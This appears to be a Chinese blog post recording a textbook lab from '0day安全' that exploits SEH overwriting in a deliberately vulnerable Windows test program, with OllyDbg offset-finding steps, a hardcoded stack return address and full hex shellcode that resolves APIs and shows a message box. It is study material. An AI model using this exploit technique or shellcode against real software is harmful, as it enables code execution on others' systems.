旧书重温:0day2【11】第6章 狙击windows的异常处理
2014-05-14 16:31
183 查看
昨晚经过一番努力,又把第六章的内容温习了一遍! 随手,做了一个实验!狙击windows的异常处理, 顺便也把过程记录了下来!省事!(有图) 今早,论坛一直无法打开! 就推迟到了现在! 哈哈 正题: 第一个实验就是 狙击windows的异常处理 那么首先,你必须理解什么是windows异常处理 <ignore_js_op> <ignore_js_op> <ignore_js_op> <ignore_js_op> 接下来我们构造 示例代码 #include "stdafx.h" #include <windows.h> #include <stdio.h> char shellcode[] = " ";// DWORD MyExpectionHandler(void) { printf("this is my expection handler !\n"); getchar(); return 0; } // void test(char * input) { char buf[200]={0}; int zero =0; __asm int 3 __try { strcpy(buf,input); zero =4/zero; } __except(MyExpectionHandler()) { } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. test(shellcode); return 0; } 复制代码 以上代码是我们构造的有溢出漏洞的代码,其中shellcode还没确定! 其test函数中的strcpy直接将shellcode拷贝到buf中,当shellcode长度,足够长时 就会溢出,溢出数据可以淹没我们添加的异常处理表数据 接下来的除0,将导致异常 这时候,异常处理开始执行! 如果我们的溢出的数据控制了异常处理结构,就可以控制流程执行我们的代码! 接下来的思路是首先od调试,来确定多长可以淹没我们想控制的地方 注意:我们必须使用int3来中断,od附加调试!不能直接用vc调试!原因:异常出现,vc将捕获异常!而不执行我们的异常处理 足够长的shellcode char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //共 20×12 = 240 复制代码 <ignore_js_op> 调试下,当执行过rep movs (这一句相当strcpy)后,栈数据区,被我们的90909090填充! 通过od标注,我们发现我们的代码 /240- 4×7 +1 = 213 处为“SHE处理程序” 我们通过溢出覆盖此处 char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ //200 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94"; 复制代码 <ignore_js_op> 这样调试,可以91-94处覆盖“SHE处理程序” 处 接下来我们来将91-94替换我们的shellcode地址 <ignore_js_op> 我们可以发现 我们的shellcode地址为:0x0012FE4C char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ //200 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00"; 复制代码 在0x12FE4C处下硬件执行断点。 我们将捕获到此断点 <ignore_js_op> 这说明我们控制啦,CPU,将shellcode 填充我们的 msg shellcode . char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\ "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\ "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\ "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\ "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\ "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\ "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\ "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\ "\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90"\ //22 * 9 = 198 //200 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00"; 复制代码 为了不破坏代码布局,我直接把断点int 3 改为nop 运行 后 弹出 msg <ignore_js_op> 最后附上 最终版代码 // 0day_6.cpp : Defines the entry point for the application. // #include "stdafx.h" #include <windows.h> #include <stdio.h> char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\ "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\ "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\ "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\ "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\ "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\ "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\ "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\ "\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\ "\x90\x90"\ //22 * 9 = 198 //200 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00"; // // 20*12 = 240 DWORD MyExpectionHandler(void) { printf("this is my expection handler !\n"); getchar(); return 0; } // void test(char * input) { char buf[200]={0}; int zero =0; __asm nop __try { strcpy(buf,input); zero =4/zero; } __except(MyExpectionHandler()) { } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. test(shellcode); return 0; } 复制代码 PS: 这个只是实验!源自书《0day安全:软件漏洞分析技术》 重现漏洞! 很基础! 有兴趣的同学可以一起学习下 |
相关文章推荐
- 旧书重温:0day2【8】狙击windows的异常处理实验
- Windows异常处理流程
- Windows 系统编程初探 (五)结构化异常处理之二:线程相关异常处理
- 书羊农历控件使用步骤及处理错误:引发了“System.Windows.Forms.AxHost.InvalidActiveXStateException”类型的异常
- Windows下截获程序的异常并进行处理
- 处理[未处理的“System.StackOverflowException”类型的异常出现在 System.Windows.Form.dll]异常
- PHP5的异常处理机制[11]--Exception类的子类
- Windows异常处理流程
- Windows异常处理
- windows 操作系统的SEH 异常处理
- Windows异常处理流程
- 我理解的windows异常处理
- Windows异常处理流程
- [转]C++异常处理 11
- Windows 系统编程初探 (四)结构化异常处理之一:SEH的基本原理与进程相关异常处理
- 11、12章(异常处理和范型算法)
- 【转帖】Windows异常处理流程 - 看雪软件安全论坛
- windows异常处理 __try __except
- Oracle PL/SQL 程序设计读书笔记 - 第6章 异常处理
- 异常信息:CLR无法从COM 上下文0x645e18 转换为COM上下文0x645f88,这种状态已持续60秒。拥有目标上下文/单元的线程很有可能执行的是非泵式等待或者在不发送 Windows 消息的情况下处理一个运行时间非常长的操作.这种情况通常会影响到